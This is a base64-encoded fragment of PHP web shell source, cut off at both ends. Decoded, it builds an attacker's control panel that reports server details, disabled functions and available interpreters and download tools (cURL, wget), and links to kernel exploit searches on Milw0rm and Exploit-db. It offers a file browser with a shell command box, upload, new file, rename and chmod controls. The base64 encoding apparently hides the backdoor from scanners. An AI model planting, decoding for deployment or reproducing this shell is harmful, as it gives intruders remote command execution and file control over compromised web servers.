FybmVsIEZyb20gTWlsdzBybScgdGFyZ2V0PV9ibGFuaz48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+WyBNaWx3MHJtIF08L2ZvbnQ+PC9hPiB8IDxhIGhyZWY9JyIuJGV4cGxpbmsuIicgdGl0bGU9J1NlYXJjaCBLYXJuZWwgRnJvbSBFeHBsb2l0LWRiJyB0YXJnZXQ9X2JsYW5rPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIEV4cGxvaXQtZGIgXTwvZm9udD48L2E+PC9iPjxiciAvPiI7CmlmKCRpZCAhPSAiIikgJGJ1ZmYgLj0gIklEIDogPGI+Ii4kaWQuIjwvYj48YnIgLz4iOwokYnVmZiAuPSAiUEhQIFZlcnNpb24gOiA8Yj4iLnBocHZlcnNpb24oKS4iPC9iPiBPTiA8Yj4iLnBocF9zYXBpX25hbWUoKS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IHwgPC9zcGFuPjxhIGhyZWY9JyRwaHBpbmZvJyB0aXRsZT0nUEhQIEluZm8nPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5bIFBIUCBJbmZvIF08L2ZvbnQ+PC9hPiA8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIlNlcnZlciBJUCA6IDxiPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz4iLiRzZXJ2ZXJfaXAuIjwvZm9udD48L2I+IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPiB8IDwvc3Bhbj4gUG9ydCBTZXJ2ZXIgOiA8Yj48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+Ii4kc2VydmVycG9ydC4iPC9mb250PjwvYj48c3BhbiBjbGFzcz1cImdheWFcIj4gfCA8L3NwYW4+IFlvdXIgSVAgU3VydmluZyA6IDxiPjxhIGhyZWY9J2h0dHA6Ly93d3cuZG5zc3R1ZmYuY29tL3Rvb2xzP3J1bkZyb21NYWluPSIuZ2V0cmVhbGlwKCkuIiZ0b29sVHlwZT10cmFjZXJvdXRlJyB0aXRsZT0nVHJhY2Vyb3V0ZSBZb3VyIElQJyB0YXJnZXQ9J19ibGFuayc+PGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPiIuZ2V0cmVhbGlwKCkuIjxmb250PjwvYT48L2I+PHNwYW4gY2xhc3M9XCJnYXlhXCI+IHwgPC9zcGFuPiBBZG1pbiA6IDxiPiIuJGFkbWluX2lkLiI8L2I+PGJyIC8+IjsKJGJ1ZmYgLj0gIkZyZWUgRGlzazogPGZvbnQgc3R5bGU9J2NvbG9yOiNmZjAwMDAnPjxiPiIuY29udmVydEJ5dGUoZGlza19mcmVlX3NwYWNlKCIvIikpLiIgPHNwYW4gY2xhc3M9XCJnYXlhXCI+IC8gPC9zcGFuPiAiLmNvbnZlcnRCeXRlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjwvYj48L2ZvbnQ+PC9zcGFuPjxiciAvPiI7CmlmKCRzYWZlbW9kZSkgJGJ1ZmYgLj0gIlNhZmVtb2RlOiA8c3BhbiBjbGFzcz1cImdheWFcIj48Zm9udCBzdHlsZT0nY29sb3I6I2ZmMDAwMCc+PGI+T048L2I+PC9mb250Pjwvc3Bhbj48YnIgLz4iOwplbHNlICRidWZmIC49ICJTYWZlbW9kZTogPHNwYW4gY2xhc3M9XCJnYXlhXCI+PGI+T0ZGPC9iPjwvc3Bhbj48YnIgLz4iOwokYnVmZiAuPSAiRGlzYWJsZSBGdW5jdGlvbnM6ICIuc2hvd2Rpc2FibGVmdW5jdGlvbnMoKS4iPGJyIC8+IjsKJGJ1ZmYgLj0gIk15U1FMOiAiLnRlc3RteXNxbCgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7TVNTUUw6ICIudGVzdG1zc3FsKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtPcmFjbGU6ICIudGVzdG9yYWNsZSgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7UGVybDogIi50ZXN0cGVybCgpLiImbmJzcDsmbmJzcDt8Jm5ic3A7Jm5ic3A7UHl0aG9uOiAiLnRlc3RweXRob24oKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO1J1Ynk6ICIudGVzdHJ1YnkoKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO0phdmE6ICIudGVzdGphdmEoKS4iJm5ic3A7Jm5ic3A7fCZuYnNwOyZuYnNwO0dDQzogIi50ZXN0Z2NjKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtjVVJMOiAiLnRlc3RjdXJsKCkuIiZuYnNwOyZuYnNwO3wmbmJzcDsmbmJzcDtXR2V0OiAiLnRlc3R3Z2V0KCkuIjxicj4iOwokYnVmZiAuPSI8Zm9udCBjb2xvcj0wMGZmMDAgPkRyaXZlIDogPGI+Ii4kbGV0dGVycy4iJm5ic3A7Jmd0OyZuYnNwOyIuJHB3ZHVybC4iPC9iPjwvZm9udD4iOwoKCiBmdW5jdGlvbiByYXBpaCgkdGV4dCl7CiAgICByZXR1cm4gdHJpbShzdHJfcmVwbGFjZSgiPGJyIC8+IiwiIiwkdGV4dCkpOwp9CgpmdW5jdGlvbiBtYWdpY2Jvb20oJHRleHQpewogICAgaWYgKCFnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgICAgICAgIHJldHVybiAkdGV4dDsKICAgIH0gCiAgICByZXR1cm4gc3RyaXBzbGFzaGVzKCR0ZXh0KTsKfQoKZnVuY3Rpb24gc2hvd2RpcigkcHdkLCRwcm9tcHQpewogICAgJGZuYW1lID0gYXJyYXkoKTsKICAgICRkbmFtZSA9IGFycmF5KCk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpKSAkcG9zaXggPSBUUlVFOwogICAgZWxzZSAkcG9zaXggPSBGQUxTRTsKICAgICR1c2VyID0gIj8/Pz86Pz8/PyI7CiAgICBpZigkZGggPSBAc2NhbmRpcigkcHdkKSl7CiAgICAgICAgZm9yZWFjaCgkZGggYXMgJGZpbGUpewogICAgICAgICAgICBpZihpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRkbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKXsKICAgICAgICAgICAgICAgICRmbmFtZVtdID0gJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBlbHNlewogICAgICAgIGlmKCRkaCA9IEBvcGVuZGlyKCRwd2QpKXsKICAgICAgICAgICAgd2hpbGUoJGZpbGUgPSBAcmVhZGRpcigkZGgpKXsKICAgICAgICAgICAgICAgIGlmKEBpc19kaXIoJGZpbGUpKXsKICAgICAgICAgICAgICAgICAgICAkZG5hbWVbXSA9ICRmaWxlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmKEBpc19maWxlKCRmaWxlKSl7CiAgICAgICAgICAgICAgICAgICAgJGZuYW1lW10gPSAkZmlsZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBAY2xvc2VkaXIoJGRoKTsKICAgICAgICB9CiAgICB9CiAgICBzb3J0KCRmbmFtZSk7CiAgICBzb3J0KCRkbmFtZSk7CiAgICAkcGF0aCA9IEBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJHB3ZCk7CiAgICAkdHJlZSA9IEBzaXplb2YoJHBhdGgpOwogICAgJHBhcmVudCA9ICIiOwogICAgJGJ1ZmYgPSAiPGNlbnRlcj4KICAgIDxmb3JtIGFjdGlvbj1cIj95PSIuJHB3ZC4iJmFtcDt4PXNoZWxsXCIgbWV0aG9kPVwicG9zdFwiIHN0eWxlPVwibWFyZ2luOjhweCAwIDAgMDtcIj4KICAgIDx0YWJsZSBjbGFzcz1cImNtZGJveFwiIHN0eWxlPVwid2lkdGg6NDUlO1wiPgogICAgPHRyPjx0ZD48Yj4kcHJvbXB0PC9iPjwvdGQ+PHRkPjxpbnB1dCBvbk1vdXNlT3Zlcj1cInRoaXMuZm9jdXMoKTtcIiBpZD1cImNtZFwiIGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY21kXCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1oZWxwIC8+PGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiR28gIVwiIG5hbWU9XCJzdWJtaXRjbWRcIiBzdHlsZT1cIndpZHRoOjgwcHg7XCIgLz48L3RkPjwvdHI+CiAgICA8L2Zvcm0+CiAgICA8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgc3R5bGU9XCJtYXJnaW46OHB4IDAgMCAwO1wiPgogICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgPHRyPjx0ZD48Yj5WaWV3IDwvYj48L3RkPjx0ZD48aW5wdXQgb25Nb3VzZU92ZXI9XCJ0aGlzLmZvY3VzKCk7XCIgaWQ9XCJnb3RvXCIgY2xhc3M9XCJpbnB1dHpcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJ2aWV3XCIgc3R5bGU9XCJ3aWR0aDo0MDBweDtcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz48aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJWaWV3ICFcIiBuYW1lPVwic3VibWl0Y21kXCIgc3R5bGU9XCJ3aWR0aDo4MHB4O1wiIC8+PC90ZD48L3RyPjwvY2VudGVyPgogICAgCiAgICA8L2Zvcm0+PC90YWJsZT48YnI+PHRhYmxlIGNsYXNzPVwiZXhwbG9yZVwiPgogICAgPHRyPjx0aD5OYW1lPC90aD48dGggc3R5bGU9XCJ3aWR0aDo4MHB4O1wiPlNpemU8L3RoPjx0aCBzdHlsZT1cIndpZHRoOjIxMHB4O1wiPk93bmVyOkdyb3VwPC90aD48dGggc3R5bGU9XCJ3aWR0aDo4MHB4O1wiPlBlcm1zPC90aD48dGggc3R5bGU9XCJ3aWR0aDoxMTBweDtcIj5Nb2RpZmllZDwvdGg+PHRoIHN0eWxlPVwid2lkdGg6MTkwcHg7XCI+QWN0aW9uczwvdGg+PC90cj4KICAgICI7CiAgICBpZigkdHJlZSA+IDIpIGZvcigkaT0wOyRpPCR0cmVlLTI7JGkrKykgJHBhcmVudCAuPSAkcGF0aFskaV0uRElSRUNUT1JZX1NFUEFSQVRPUjsKICAgIGVsc2UgJHBhcmVudCA9ICRwd2Q7ICAKCiAgICBmb3JlYWNoKCRkbmFtZSBhcyAkZm9sZGVyKXsKICAgICAgICBpZigkZm9sZGVyID09ICIuIikgewogICAgICAgICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICAgICAgICAgJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHB3ZC4iXCI+JGZvbGRlcjwvYT48L3RkPjx0ZD4tPC90ZD4KICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHB3ZCkuIjwvY2VudGVyPjwvdGQ+CiAgICAgICAgICAgIDx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRwd2QpKS4iPC90ZD48dGQ+PHNwYW4gaWQ9XCJ0aXRpazFcIj4KICAgICAgICAgICAgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2VkaXQ9Ii4kcHdkLiJuZXdmaWxlLnBocFwiPk5ldyBGaWxlPC9hPiB8IDxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCd0aXRpazEnLCd0aXRpazFfZm9ybScpO1wiPk5ldyBGb2xkZXI8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMScsJ3RpdGlrNF9mb3JtJyk7XCI+VXBsb2FkPC9hPjwvc3Bhbj4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiIGlkPVwidGl0aWsxX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJta2RpclwiIHZhbHVlPVwiYV9uZXdfZm9sZGVyXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJSZW5hbWVcIiBzdHlsZT1cIndpZHRoOjM1cHg7XCIgdmFsdWU9XCJHbyAhXCIgLz4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCJcIiBpZD1cInRpdGlrNF9mb3JtXCIgbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPgogICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ5XCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0elwiIHR5cGU9XCJmaWxlXCIgbmFtZT1cImZpbGVcIiBzaXplPVwiMjBcIi8+PGJyPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiBuYW1lPVwiX3VwbFwiIHR5cGU9XCJzdWJtaXRcIiBpZD1cIl91cGxcIiB2YWx1ZT1cIlVwbG9hZFwiLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJDYW5jZWxcIiB2YWx1ZT1cIkNhbmNlbFwiIAogICAgICAgICAgICBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+CiAgICAgICAgICAgIDwvZm9ybT48L3RkPgogICAgICAgICAgICAKICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgIjsKICAgICAgICB9CiAgICAgICAgZWxzZWlmKCRmb2xkZXIgPT0gIi4uIikgewogICAgICAgICAgICBpZighJHdpbiAmJiAkcG9zaXgpewogICAgICAgICAgICAgICAgJG5hbWU9QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmb2xkZXIpKTsKICAgICAgICAgICAgICAgICRvd25lciA9ICRuYW1lWyduYW1lJ10uIjxzcGFuIGNsYXNzPVwiZ2F5YVwiPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgJG93bmVyID0gJHVzZXI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGJ1ZmYgLj0gIjx0cj48dGQ+PGEgaHJlZj1cIj95PSIuJHBhcmVudC4iXCI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4VUFNMHFMejZ3QUFBTExTVVJCVkRqTGJWUFJTMU5SR1ArZDNidHJzN2tabUFZWGxTWllVSzRIUVhDUkVQV1VRU1NZSUQxR0VLS3gvQWYyNWxNK0RDRkNlNGhleWdjTmRJVUVTVDA0UVc2QmpTMHl4NVVoa1c2RkV0dk9QZmM3cDRlbVhjb2ZIUGc0NTN5LzczZSs3M2NBRHl6TE9veS9iSHpSOC9sODBMYnRZRDV2NndmNzJWek9td0xtVGU3dTdvWmxXY2NiR2hwR05KOTJIUXd0dGVOdlNxbVhKT1dqTTUyZFBQTXBnL05kNS84U3BGSXA5UGYzdzdLc1M0RkE0QmxqckIxSFFDbVZjNFY3TzNvaCttRmxaUVd4V0F3c2tVZ2drVWhnZVhrNUZnNkhGNW1QbldDQUFoaFRVR0NLUVVGNWViNExJYTcyOVBSa25yOTQva2ZCd01EQXNYZzgvdEh2OTU4Rm9EeFA4OFllSlRMZDJ4dUxBWUFQQUlhR2h1NUlLYzl5enNFNVo0N2pZSFYxOVVPcFZOb1hRc0M3T09kd0hORzd0TFIwRXdEMFVDaXM2N3AyblhNT0FDaVhLNy9ldjMvM1pISnk4bkV5bVp3eURNTThxRXhFeWpUTjl2cjYrb0FRNGdhQWVmM2l4VmdkNTg0cHcrRFkzZDB0VEU5UGo2VFQ2VGZCWUpDUGo0L2ZCdUEvSUJCQytHWm1aaFpiV2xyT09ZNWpEZzhQYTNxcFZFS2xVb0hmNzBjZ0VHZ2VIUjJOUEhnUVY0T0R0OVRzN0t3RVFBQ2dhUnBTcVZkUVNyRnF0WXBxdFNwdDJ3WURZRXhNVE15M3RiVmRrMUxXcHFYZWJtMXQzVGROODZtdTY1RmFNdytzRTJLTTZUOS8vcGdhR3hzYjFRRTRhMnRycjV1YW1xNTVHbjJsK1dSeldnaWhFVkg5RVg1QUpwT1pCd0FOQUhLNVhLR2pvNk92c2JIUmRGMFhSQVFwWloyVTBrOUVpb2dZRVlHSWxKU1MyYlk5bTB3bUh3SlFXbzMwMS9iMmRpRVNpVncyakxvUUVURnlYZVdTeTRoYzVycUhKS3hZTEdibjV1YnVGb3ZGMHFFQ0FOamYzN2UvYm16a2pEcmpkQ2dVYW1VK01DSUpJZ2twaVpYTFpabk5aaGNXRmhidWJXNXVmdTdxNnNMT3pzNy9MZ1BRM3RyYTJoK05SdnZDNGZBcEFISnZiMjlyZlgxOXFWQW92QWF3ZCtSdi9BYytBTWNBR0xVSlZBQTRSMTM4RGVGK2NYK3hSL0FHQUFBQUFFbEZUa1N1UW1DQyc+PC9hPjwvdGQ+PHRkPi08L3RkPgogICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD4KICAgICAgICAgICAgPHRkPjxjZW50ZXI+Ii5nZXRfcGVybXMoJHBhcmVudCkuIjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJHBhcmVudCkpLiI8L3RkPgogICAgICAgICAgICA8dGQ+PHNwYW4gaWQ9XCJ0aXRpazJcIj48YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZWRpdD0iLiRwYXJlbnQuIm5ld2ZpbGUucGhwXCI+TmV3IEZpbGU8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJ3RpdGlrMicsJ3RpdGlrMl9mb3JtJyk7XCI+TmV3IEZvbGRlcjwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcigndGl0aWsyJywndGl0aWszX2Zvcm0nKTtcIj5VcGxvYWQ8L2E+PC9zcGFuPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgaWQ9XCJ0aXRpazJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieVwiIHZhbHVlPVwiIi4kcHdkLiJcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjE0MHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm1rZGlyXCIgdmFsdWU9XCJhX25ld19mb2xkZXJcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIlJlbmFtZVwiIHN0eWxlPVwid2lkdGg6MzVweDtcIiB2YWx1ZT1cIkdvICFcIiAvPgogICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIGlkPVwidGl0aWszX2Zvcm1cIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInlcIiB2YWx1ZT1cIiIuJHB3ZC4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZVwiIHNpemU9XCIyMFwiLz48YnI+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIG5hbWU9XCJfdXBsXCIgdHlwZT1cInN1Ym1pdFwiIGlkPVwiX3VwbFwiIHZhbHVlPVwiVXBsb2FkXCIvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlPVwiQ2FuY2VsXCIgCiAgICAgICAgICAgIG9uY2xpY2s9XCJ0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zJyk7XCIgLz4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICA8L3RkPjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIGlmKCEkd2luICYmICRwb3NpeCl7CiAgICAgICAgICAgICAgICAkbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZm9sZGVyKSk7CiAgICAgICAgICAgICAgICAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZvbGRlcikpOwogICAgICAgICAgICAgICAgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAkb3duZXIgPSAkdXNlcjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYnVmZiAuPSAiPHRyPjx0ZD48YSBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmtcIiBocmVmPVwiP3k9Ii4kcHdkLiRmb2xkZXIuRElSRUNUT1JZX1NFUEFSQVRPUi4iXCI+PGI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBUUFBQUMxK2pmcUFBQUFBWE5TUjBJQXJzNGM2UUFBQUFKaVMwZEVBUCtIajh5L0FBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFBMDBsRVFWUW96NldSdlVwRFVSQ0V2em11d1I4czhncjJFVHZ0TFNSYUtqNkFyWlUrVlZBRXdTcXZKSWhJd2lYMzNuUE8ySWdheUsyY2J0bVpXVDRXL2l2OUhlYWNBNjk3TlFSWTI4MUZyMGR1MWhKUHQ5MEQreGdjNmZud1hqQzc5Sld5UWRpVGZPcmY0bmsvalpmMGNWZW5JcEVRSW1HalFzVm9kMmNyeXZINFRFWkMzMGtMak1FK0tVZFJsMjRaRFFCa3J5SXZ0T0pnZ0xHcmkraGJkWGdkOTBlOSsraHo2clI1all0elpLc0lEemh3RkRUUUR6WkVzVHo4Q1JPNXBtVnFCMjQwdWNSYk03a2VqVGNhbEJmdm4xOTVFVitFYWpGMWhnQUFBQUJKUlU1RXJrSmdnZz09JyAvPiAgWyAkZm9sZGVyIF08L2I+PC9hPgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld25hbWVcIiB2YWx1ZT1cIiIuJGZvbGRlci4iXCIgLz4KICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJSZW5hbWVcIiB2YWx1ZT1cIlJlbmFtZVwiIC8+CiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2FuY2VsXCIgdmFsdWU9XCJDYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4KICAgICAgICAgICAgPC9mb3JtPjx0ZD5ESVI8L3RkPjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuJG93bmVyLiI8L3RkPgogICAgICAgICAgICA8dGQ+PGNlbnRlcj4KICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiPiIuZ2V0X3Blcm1zKCRwd2QuJGZvbGRlcikuIjwvYT4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0zXCIgY2xhc3M9XCJzZW1idW55aVwiIHN0eWxlPVwibWFyZ2luOjA7cGFkZGluZzowO1wiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiAKICAgICAgICAgICAgPGlucHV0IGNsYXNzPVwiaW5wdXR6XCIgc3R5bGU9XCJ3aWR0aDoxNTBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJuZXd2YWx1ZVwiIHZhbHVlPVwiIi5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHB3ZC4kZm9sZGVyKSksIC00KS4iXCIgLz4gCiAgICAgICAgICAgIDxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiQ2htb2RfZm9sZGVyXCIgdmFsdWU9XCJDaG1vZFwiIC8+IAogICAgICAgICAgICA8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cIkNhbmNlbFwiIHZhbHVlP